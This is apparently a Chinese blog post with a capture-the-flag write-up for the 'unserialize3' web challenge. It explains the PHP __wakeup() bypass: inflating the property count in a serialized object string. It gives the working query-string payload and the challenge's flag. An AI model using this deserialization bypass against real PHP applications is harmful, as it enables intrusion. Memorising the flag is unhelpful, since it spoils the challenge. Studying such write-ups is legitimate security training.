zoukankan      html  css  js  c++  java
  • 攻防世界-web进阶-unserialize3

    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    ?code=

    注意到了_wakeup(),如果需要反序列化的时候,php才会调用_wakeup()。所以我们需要利用反序列化。

    <?php
    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    }
    $a = new xctf();
    echo serialize($a);
    ?>

      

    那我们如果直接这样?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";},那他会直接输出bad requests,

    那这并不是我们想要的结果。所以我们还要利用漏洞绕过。而_wakeup()要求被序列化的对象属性个数要大于原来的1

    将序列化字符串中代表变量个数的数字改为大于其真实值的数字,得到结果。

    ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
    

      

    cyberpeace{ecb272ecae9b3b73f3009359272108b0}
  • 相关阅读:
    Animation用法
    英文口语及书写常用句型汇总1
    Jqplot使用总结之二(双Y轴)
    SqlServer扩展存储过程
    SQL Server常见基础操作
    C# 利用ITextSharp导出PDF文件
    go常量
    ARP协议
    go数组
    go基本数据类型
  • 原文地址:https://www.cnblogs.com/tac2664/p/13869825.html
Copyright © 2011-2022 走看看